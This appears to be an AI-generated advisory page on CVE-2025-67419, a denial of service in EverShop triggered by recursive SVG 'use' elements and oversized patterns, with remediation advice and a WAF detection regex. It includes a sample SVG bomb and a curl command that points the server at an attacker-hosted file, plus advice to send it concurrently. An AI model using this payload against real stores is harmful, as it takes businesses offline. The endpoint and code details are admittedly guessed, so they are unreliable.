CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-67419
7.50.08%

Death by Geometry: Crashing EverShop with Recursive SVGs

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 27, 2026·7 min read·7 visits

PoC Available

Executive Summary (TL;DR)

CVE-2025-67419 is a high-severity DoS in EverShop <= 2.1.0. The flaw resides in the handling of SVG images, specifically the `GET /images` endpoint. Attackers can use recursive `<use>` tags or massive `<pattern>` tiles to exhaust server resources, crashing the Node.js event loop. No authentication is required. Upgrade to version 2.1.1 immediately.

EverShop, a popular TypeScript-based e-commerce platform, contains a critical Denial of Service (DoS) vulnerability in its image processing pipeline. By submitting specially crafted Scalable Vector Graphics (SVG) files, an unauthenticated attacker can trigger exponential resource consumption—specifically CPU and memory exhaustion—effectively taking the store offline. This attack leverages the 'Quadratic Blowup' technique via nested `<use>` elements and unbounded pattern rendering, proving once again that parsing XML-based images is a minefield.

The Hook: Infinite Loops in a Single Thread

In the world of web development, we love SVGs. They are crisp, scalable, and technically just text files. But herein lies the rub: an SVG isn't just a picture; it's a set of instructions for the renderer. When you upload a JPEG, the server mostly just moves bytes around. When you upload an SVG, you are essentially asking the server to execute code.

EverShop, built on the modern and sleek TypeScript stack, exposes an endpoint GET /images to handle image serving and processing. The vulnerability here isn't a complex buffer overflow or a subtle race condition. It is a logic bomb. The application blindly trusts the geometric instructions provided in an SVG file.

Because Node.js (and by extension, the EverShop backend) operates on a single-threaded event loop, a computationally expensive task doesn't just slow things down—it stops the world. If we can trick the server into calculating the position of a trillion pixels, no other customer can add an item to their cart. The server hangs, the load balancer panics, and the DevOps team gets paged at 3 AM.

The Flaw: The Shadow Tree & The Billion Laughs

The root cause of CVE-2025-67419 is a lack of resource constraints when expanding SVG elements. The SVG specification includes powerful features like <use> (which clones elements) and <pattern> (which tiles textures). While useful for designers, these are weapons for attackers.

1. The <use> Element Shadow Tree This is effectively the vector graphics version of the infamous "Billion Laughs" XML bomb. An attacker can define a shape, then define a new shape that uses the first one 10 times, then a third shape that uses the second one 10 times. By the time the renderer attempts to construct the "Shadow DOM" or the internal representation of the image, the complexity grows exponentially (Quadratic Blowup).

2. Unbounded Patterns The second vector involves the <pattern> element. Imagine defining a pattern tile that is 1x1 pixel in size. Now, tell the renderer to fill a rectangle that is 10,000 x 10,000 pixels using that pattern. The engine attempts to calculate the rendering logic for 100,000,000 tiles. Without a cap on iteration counts or recursion depth, the CPU spins at 100% until the process is killed or the server runs out of RAM.

Here is a visual representation of the Shadow Tree attack flow:

The Code: Unchecked Recursion

Let's look at the logic failure. In the vulnerable versions (<= 2.1.0), the SVG parsing library or the custom handling code likely iterated through the DOM tree without checking how deep the rabbit hole went. While the exact proprietary code isn't fully public, the mechanism is standard in these types of bugs.

Vulnerable Logic (Conceptual):

function renderSvgNode(node) {
  if (node.tagName === 'use') {
    // Blindly follow the reference
    const target = getElementById(node.href);
    // Recursive call with NO depth limit
    return renderSvgNode(target);
  }
  // ... render other stuff
}

The fix, implemented in version 2.1.1, introduces sanity checks. The developers had to fundamentally alter how they traverse the SVG structure. They implemented limits on the depth of the shadow tree and the count of elements processed.

The Fix Strategy:

> [!NOTE] > The patch doesn't just stop the crash; it rejects validity. If an SVG requires more than X computations to render, it is treated as malicious and discarded.

Specifically, the patch enforces:

  1. Max Depth: Limits nested <use> tags to a reasonable number (e.g., 10).
  2. Pattern Bounds: Ensures the area-to-tile-size ratio isn't absurdly high.

If you are auditing your own code, look for any recursive XML/SVG parsing that lacks a maxDepth counter or a maxExecutionTime timeout.

The Exploit: Crafting the Payload

Exploiting this is trivially easy. You don't need to bypass ASLR or craft a ROP chain. You just need a text editor. We are going to construct a "Billion Laughs" SVG variant.

Step 1: The Payload Save the following as bomb.svg. Note the nested <g> (groups) and <use> references.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" 
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="1000" height="1000" xmlns="http://www.w3.org/2000/svg">
  <defs>
    <g id="a0">
      <circle cx="10" cy="10" r="10" />
    </g>
    <g id="a1">
      <use x="0" y="0" xlink:href="#a0"/>
      <use x="10" y="10" xlink:href="#a0"/>
      <!-- Imagine 8 more of these -->
    </g>
    <g id="a2">
      <use x="0" y="0" xlink:href="#a1"/>
      <use x="10" y="10" xlink:href="#a1"/>
    </g>
    <!-- ... Repeat until a10 ... -->
  </defs>
  <use x="0" y="0" xlink:href="#a10"/>
</svg>

Step 2: The Delivery Since the endpoint GET /images processes this, an attacker simply needs to get the server to ingest this file. If the application supports uploading profile pictures or product images via URL, we host bomb.svg on our server and feed the URL to EverShop.

curl -X POST https://target-evershop.com/api/admin/product/image/upload \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker-controlled.com/bomb.svg"}'

Alternatively, if the GET /images endpoint takes a direct payload or base64, we send it there. The moment the server parses the XML to generate a thumbnail or validate dimensions, the CPU spikes. Do this concurrently 5 or 6 times, and the server becomes unresponsive.

The Impact: Why Business Stalls

This vulnerability is classified as High Severity (CVSS 7.5) for a reason. In e-commerce, uptime is revenue. An unauthenticated DoS means a competitor or a bored script kiddie can shut down a storefront during Black Friday sales with zero cost.

Because EverShop runs on Node.js, the impact is immediate and severe. Node.js uses a single main thread for the event loop. While I/O is non-blocking, CPU-bound tasks (like parsing a massive XML tree) block the loop.

When the exploit triggers:

  1. Latency Spikes: The event loop is stuck calculating SVG vectors.
  2. Request Timeouts: Valid user requests (login, checkout) pile up in the queue until they time out.
  3. Health Check Failures: Kubernetes or Load Balancers will see the pod as "unhealthy" and kill it. However, if the attacker keeps sending the request, the new pods will immediately crash upon restart if they try to process the malicious image again (persistence).

This isn't just a temporary glitch; it's a denial of revenue.

The Fix: Remediation & Mitigation

The fix is straightforward: Stop trusting input. You must upgrade EverShop to version 2.1.1 or higher immediately. The developers have patched the image processing library to detect and reject recursive complexity.

Immediate Actions:

  1. Upgrade: npm update @evershop/all (or your specific dependency method).
  2. Sanitize: If you cannot upgrade, disable SVG uploads entirely in your configuration. Force usage of PNG/JPG only.

WAF Mitigation: If you are behind a WAF (Cloudflare, AWS WAF), create a rule to block uploads containing common SVG recursion patterns. Look for the string xlink:href appearing multiple times in close proximity or high counts of <use> tags.

(use\s+.*?xlink:href){5,}

Long term, developers must remember that SVGs are not images—they are documents. They should be handled with the same paranoia as HTML or XML files. Use libraries like DOMPurify (though that's for XSS) or specialized SVG sanitizers that enforce limits on complexity.

Official Patches

EverShopOfficial GitHub Repository

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.08%
Top 77% most exploited

Affected Systems

EverShop <= 2.1.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
EverShop
EverShop Commerce
<= 2.1.02.1.1
AttributeDetail
CWECWE-1050 (Excessive Iteration)
Attack VectorNetwork (API)
CVSS v3.17.5 (High)
Privileges RequiredNone
ImpactDenial of Service (Resource Exhaustion)
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
T1499.003Application Exhaustion Flood
Impact
CWE-1050
Excessive Iteration

The product performs an iteration or loop without a sufficiently limiting condition, allowing an attacker to cause excessive resource consumption.

Known Exploits & Detection

dos-m0nk3y GitHubTechnical analysis and Proof of Concept for SVG quadratic blowup.

Vulnerability Timeline

Vendor patches applied
2025-01-02
EverShop v2.1.1 released
2025-01-03
CVE Published
2026-01-05

References & Sources

  • [1]Researcher Advisory and PoC
  • [2]NVD Entry
Related Vulnerabilities
CVE-2023-4863

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.